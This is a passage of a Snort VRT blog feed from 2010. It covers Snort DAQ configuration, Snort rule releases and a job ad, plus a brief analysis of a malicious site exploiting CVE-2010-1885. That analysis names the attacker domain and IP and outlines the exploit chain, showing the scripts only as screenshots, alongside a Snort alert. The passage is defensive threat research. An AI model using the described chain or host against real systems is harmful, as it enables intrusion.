&lt;br /&gt;::= path where to look for DAQ module so's&amp;lt;var&amp;gt; &lt;br /&gt;::= arbitrary &amp;lt;name&amp;gt;=&amp;lt;value&amp;gt; passed to DAQ&lt;/pre&gt;Caveats:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;If daq-mode is not set explicitly, -Q will force it to inline;&lt;/li&gt;&lt;li&gt;If daq-mode is not set explicitly, -r will force it to read-file;&lt;/li&gt;&lt;li&gt;The defaults daq-mode is passive.&lt;/li&gt;&lt;li&gt;Running -Q and --daq-mode inline are allowed, but -Q and any other DAQ mode will cause a fatal error at start-up.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;USAGE&lt;/b&gt;&lt;br /&gt;The following examples assume you have 3 Ethernet interfaces with management on eth0 and that you intend to pass traffic through your sensor between eth1 and eth2.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Using the PCAP DAQ&lt;/b&gt;&lt;br /&gt;PCAP is the default DAQ. If snort is run w/o any DAQ arguments, it will operate as it always did using this module. This is common usage of snort, passive sniffing of an interface or reading back pcap files.&lt;br /&gt;&lt;br /&gt;To do this you can use any of the following as they are all equivalent:&lt;br /&gt;&lt;pre&gt;snort -i &amp;lt;device&amp;gt;&lt;br /&gt;snort -r &amp;lt;file&amp;gt;&lt;br /&gt;snort --daq pcap --daq-mode passive -i &amp;lt;device&amp;gt;&lt;br /&gt;snort --daq pcap --daq-mode read-file -r &amp;lt;file&amp;gt;&lt;br /&gt;&lt;/pre&gt;You can also specify the buffer size PCAP if you need to, using:&lt;br /&gt;&lt;pre&gt;snort --daq pcap --daq-var buffer_size=&amp;lt;#bytes&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;NOTE - The PCAP DAQ does not count filtered packets.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Using the AFPACKET DAQ&lt;/b&gt;&lt;br /&gt;AFPACKET is the easiest way to setup an inline sensor, additionally it has better performance than the standard PCAP interfaces.  &lt;br /&gt;&lt;br /&gt;To use AFPACKET in passive mode:&lt;br /&gt;&lt;pre&gt;snort --daq afpacket -i &amp;lt;device&amp;gt; &lt;br /&gt;[--daq-var buffer_size_mb=&amp;lt;#MB&amp;gt;] &lt;br /&gt;[--daq-var debug]&lt;br /&gt;&lt;/pre&gt;If you want to run AFPACKET in inline mode, you must set device to one or more interface pairs, where each member of a pair is separated by a single colon and each pair is separated by a double colon.  There is not need to configure a QUEUE or Bridge with AFPACKET you need to up the interfaces and give snort the correct command line.&lt;br /&gt;&lt;br /&gt;Syntax for inline pairs&lt;br /&gt;&lt;pre&gt;eth0:eth1&lt;/pre&gt;&lt;pre&gt;eth0:eth1::eth2:eth3&lt;/pre&gt;Running inline Snort&lt;br /&gt;&lt;pre&gt;ifconfig eth1 promisc up&lt;br /&gt;ifconfig eth2 promisc up&lt;br /&gt;snort --daq afpacket -i eth1:eth2 -Q -c snort.conf&lt;br /&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;By default, the AFPACKET DAQ allocates 128MB for packet memory. You can change the allocation using the &lt;code&gt;buffer_size_mb daq-var&lt;/code&gt;. See README.daq for the gory details of that calculation.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Closing&lt;/b&gt;&lt;br /&gt;Hopefully that is enough to get you going. See the DAQ distro README as well as Snort's README.daq for more information.&lt;br /&gt;&lt;br /&gt;We have already received some positive feedback as well as some pointers on what needs fixing in the beta. Keep the feedback coming and we'll ensure a solid 2.9.0 rollout.  Send bugs / features / etc to "bugs &amp;lt;at&amp;gt; snort.org" or join the Snort-Devel and Snort-Users mailing lists and post your thoughts there.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-4574901879039406226?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.snort.org/snort-downloads' title='Snort 2.9 Essentials:  The DAQ'/><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/4574901879039406226/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=4574901879039406226' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/4574901879039406226'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/4574901879039406226'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/08/snort-29-essentials-daq.html' title='Snort 2.9 Essentials:  The DAQ'/><author><name>Russ Combs</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-5424625796209586501</id><published>2010-08-10T17:06:00.002-04:00</published><updated>2010-08-11T13:30:28.872-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ClamAV'/><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Quick analysis of a webpage leveraging CVE-2010-1885 (aka the help and support center vulnerability)</title><content type='html'>&lt;p&gt;In a previous &lt;a href="http://vrt-sourcefire.blogspot.com/2010/07/increase-in-attacks-on-cve-2010-1885.html"&gt;blog&lt;/a&gt; post I was writing about an increase in attacks against an at the time, un-patched vulnerability. Microsoft &lt;a href="http://www.microsoft.com/technet/security/Bulletin/MS10-042.mspx"&gt;patched&lt;/a&gt; it on July 13, which doesn't mean that people aren't still trying to own un-patched machines.&lt;/p&gt;goodgirlsbadguys.com (213.155.12.144) is a domain registered on July 19 2010 with a registrant address listed in Cambodia. Visiting a particular webpage for that domain (trust me and don't go there...despite the name there is nothing juicy on this domain except pwnage) returns a URL as part of an iframe. Microsoft Help and Support Center is invoked with a few parameters, one of which is the URL obtained earlier:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;a href="http://labs.snort.org/images/KB2286198_help_center_command_line.png"&gt;&lt;img height="250" alt="KB2286198_help_center_command_line" src="http://labs.snort.org/images/KB2286198_help_center_command_line.png" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;Pic.1: Help and Support Center&lt;br /&gt;&lt;p&gt;Notice the use of the keyword "crimepack" in the hcp:// request. &lt;br&gt;&lt;br&gt;In a randomly named file (in this case, "bat.vbsautba" in c:\Documents and Settings\user\Local Settings\Temp the following html can be found:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;a href="http://labs.snort.org/images/KB2286198_dropped_file.png"&gt;&lt;img height="100" alt="KB2286198_dropped_file.png" src="http://labs.snort.org/images/KB2286198_dropped_file.png" width="300" /&gt;&lt;/a&gt;&lt;br /&gt;Pic.2: Dropped file with random name&lt;br /&gt;&lt;p&gt;Later, the command line utility is invoked with the following parameters:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;a href="http://labs.snort.org/images/KB2286198_cmd_exe.png"&gt;&lt;img height="250" alt="KB2286198_cmd_exe.png" src="http://labs.snort.org/images/KB2286198_cmd_exe.png" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;Pic.3: cmd.exe called to run script...and kill Windows Media Player&lt;br /&gt;&lt;p&gt;The script that is executed is called D.vbs:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;a href="http://labs.snort.org/images/KB2286198_wscript_exe.png"&gt;&lt;img height="250" alt="KB2286198_wscript_exe.png" src="http://labs.snort.org/images/KB2286198_wscript_exe.png" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;Pic.4: D.vbs&lt;br /&gt;&lt;p&gt;Snort detects this Windows Help Center escape sequence cross-site scripting attempt with sid 16665:&lt;/p&gt;&lt;pre&gt;08/09-11:26:49.588645  [**] [1:16665:3] WEB-CLIENT Microsoft Windows Help Centre escape sequence XSS attempt [**] [Classification: Attempted User Privilege Gain] [Priority: 1] {TCP} 213.155.12.144:80 -&amp;gt; 10.11.250.196:107608/09-11:26:49.588645 0:1E:13:F0:2E:19 -&amp;gt; 0:C:29:21:50:D5 type:0x8100 len:0x59E213.155.12.144:80 -&amp;gt; 10.11.250.196:1076 TCP TTL:59 TOS:0x0 ID:11527 IpLen:20 DgmLen:1420 DF&lt;/pre&gt;&lt;p&gt;ClamAV has got you covered as well with BC.Exploit.CVE_2010_1885.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-5424625796209586501?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/5424625796209586501/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=5424625796209586501' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5424625796209586501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5424625796209586501'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/08/quick-analysis-of-webpage-leveraging.html' title='Quick analysis of a webpage leveraging CVE-2010-1885 (aka the help and support center vulnerability)'/><author><name>Alain Zidouemba</name><uri>http://www.blogger.com/profile/12186945673160140627</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-8721705702593251043</id><published>2010-08-10T15:31:00.001-04:00</published><updated>2010-08-10T15:31:35.202-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule Release for Today, Tuesday August 10th, 2010</title><content type='html'>&lt;p&gt;&lt;span style="color: #555555; font-family: Arial, Helmet, Freesans, sans-serif; font-size: 14px; line-height: 14px;"&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;&lt;strong style="outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; background-position: initial initial; background-repeat: initial initial; padding: 0px; margin: 0px; border: 0px initial initial;"&gt;Microsoft Security Advisory MS10-046:&lt;/strong&gt;&lt;br /&gt;Microsoft Windows Shell contains a vulnerability that may allow a remote attacker to execute code on an affected system.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;Previously released rules to detect attacks targeting these vulnerabilities have been updated with the appropriate reference and are included in this release. These are identified with GID 1, SIDs 17042 and 17043.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;&lt;strong style="outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; background-position: initial initial; background-repeat: initial initial; padding: 0px; margin: 0px; border: 0px initial initial;"&gt;Microsoft Security Advisory MS10-050:&lt;/strong&gt;&lt;br /&gt;Microsoft Windows Movie Maker contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;A rule to detect attacks targeting this issue is included in this release and is identified with GID 3, SID 17135.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;&lt;strong style="outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; background-position: initial initial; background-repeat: initial initial; padding: 0px; margin: 0px; border: 0px initial initial;"&gt;Microsoft Security Advisory MS10-051:&lt;/strong&gt;&lt;br /&gt;The Microsoft MSXML2 ActiveX control contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;A rule to detect attacks targeting this issue is included in this release and is identified with GID 3, SID 17133.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;&lt;strong style="outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; background-position: initial initial; background-repeat: initial initial; padding: 0px; margin: 0px; border: 0px initial initial;"&gt;Microsoft Security Advisory MS10-052:&lt;/strong&gt;&lt;br /&gt;Microsoft Windows Media Player contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;A rule to detect attacks targeting this issue is included in this release and is identified with GID 3, SID 17117.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;&lt;strong style="outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; background-position: initial initial; background-repeat: initial initial; padding: 0px; margin: 0px; border: 0px initial initial;"&gt;Microsoft Security Advisory MS10-053:&lt;/strong&gt;&lt;br /&gt;Microsoft Internet Explorer contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;A rule to detect attacks targeting this issue is included in this release and is identified with GID 3, SID 17115.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;&lt;strong style="outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; background-position: initial initial; background-repeat: initial initial; padding: 0px; margin: 0px; border: 0px initial initial;"&gt;Microsoft Security Advisory MS10-054:&lt;/strong&gt;&lt;br /&gt;The Microsoft implementation of SMB contains programming errors that may allow a remote attacker to execute code on an affected system.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;Rules to detect attacks targeting these errors are included in this release and are identified with GID 3, SIDs 17125 through 17127.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;Additionally, a previously released rule will also detect attacks targeting these issues and is identified with GID 3, SID 16577.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;&lt;strong style="outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; background-position: initial initial; background-repeat: initial initial; padding: 0px; margin: 0px; border: 0px initial initial;"&gt;Microsoft Security Advisory MS10-055:&lt;/strong&gt;&lt;br /&gt;Microsoft Windows Media Player contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;A rule to detect attacks targeting this issue is included in this release and is identified with GID 3, SID 17128.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;&lt;strong style="outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; background-position: initial initial; background-repeat: initial initial; padding: 0px; margin: 0px; border: 0px initial initial;"&gt;Microsoft Security Advisory MS10-056:&lt;/strong&gt;&lt;br /&gt;Microsoft Office Word contains programming errors that may allow a remote attacker to execute code on an affected system.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;Rules to detect attacks targeting these errors are included in this release and are identified with GID 3, SIDs 17119 through 17124.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;&lt;strong style="outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; background-position: initial initial; background-repeat: initial initial; padding: 0px; margin: 0px; border: 0px initial initial;"&gt;Microsoft Security Advisory MS10-057:&lt;/strong&gt;&lt;br /&gt;Microsoft Office Excel contains programming errors that may allow a remote attacker to execute code on an affected system.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;A rule to detect attacks targeting these issues is included in this release and is identified with GID 3, SID 17134.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;&lt;strong style="outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; background-position: initial initial; background-repeat: initial initial; padding: 0px; margin: 0px; border: 0px initial initial;"&gt;Microsoft Security Advisory MS10-060:&lt;/strong&gt;&lt;br /&gt;Microsoft Silverlight contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;Rules to detect attacks targeting these errors are included in this release and are identified with GID 3, SIDs 17113 and 17114.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;&lt;strong style="outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; background-position: initial initial; background-repeat: initial initial; padding: 0px; margin: 0px; border: 0px initial initial;"&gt;Microsoft Security Advisory MS10-061:&lt;/strong&gt;&lt;br /&gt;Microsoft .NET contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;A rule to detect attacks targeting this issue is included in this release and is identified with GID 3, SID 17115.&lt;/p&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; vertical-align: baseline; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: transparent; color: #555555; line-height: 1.2em; background-position: initial initial; background-repeat: initial initial; padding: 0px; border: 0px initial initial;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="font-size: 14px; line-height: 14px;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-size: 13px; line-height: 15px;"&gt;Check out the changelogs here: &lt;a href="http://www.snort.org/vrt/advisories/2010/08/10/vrt-rules-2010-08-10.html"&gt;http://www.snort.org/vrt/advisories/2010/08/10/vrt-rules-2010-08-10.html&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-8721705702593251043?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/8721705702593251043/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=8721705702593251043' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8721705702593251043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8721705702593251043'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/08/rule-release-for-today-tuesday-august_10.html' title='Rule Release for Today, Tuesday August 10th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-9081904693549478451</id><published>2010-08-03T18:13:00.000-04:00</published><updated>2010-08-03T18:13:16.810-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule Release for Today, Tuesday August 3rd, 2010</title><content type='html'>&lt;p&gt;A﻿dded and modified multiple rules in the exploit, ftp, imap, mysql, netbios, rpc, specific-threats, sql, web-activex, web-client, web-iis, web-misc and web-php rule sets.&lt;/p&gt;&lt;p&gt;Check here for details: &lt;a href="http://www.snort.org/vrt/advisories/2010/08/03/vrt-rules-2010-08-03.html"&gt;http://www.snort.org/vrt/advisories/2010/08/03/vrt-rules-2010-08-03.html&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-9081904693549478451?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/9081904693549478451/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=9081904693549478451' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/9081904693549478451'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/9081904693549478451'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/08/rule-release-for-today-tuesday-august.html' title='Rule Release for Today, Tuesday August 3rd, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-5044308006956474414</id><published>2010-07-22T18:05:00.000-04:00</published><updated>2010-07-22T18:05:45.780-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Jobs'/><title type='text'>Sourcefire VRT DI is Hiring</title><content type='html'>Here's your chance to become part of the Intelligence unit that powers the Vulnerability Research Team. We know all, we see all and we say almost nothing to anyone about anything. Kinda. Alright, not really. We get the data, we manage the data, we mine the data, we give out information and actionable intelligence. In short, we separate the intel from the noise.&lt;br /&gt;&lt;br /&gt;You may have seen our &lt;a href="http://vrt-sourcefire.blogspot.com/2010/06/sourcefire-vrt-expansion-plans-we-are.html"&gt;previous post&lt;/a&gt; regarding our expansion plans. This position is part of that grand scheme. As such, the 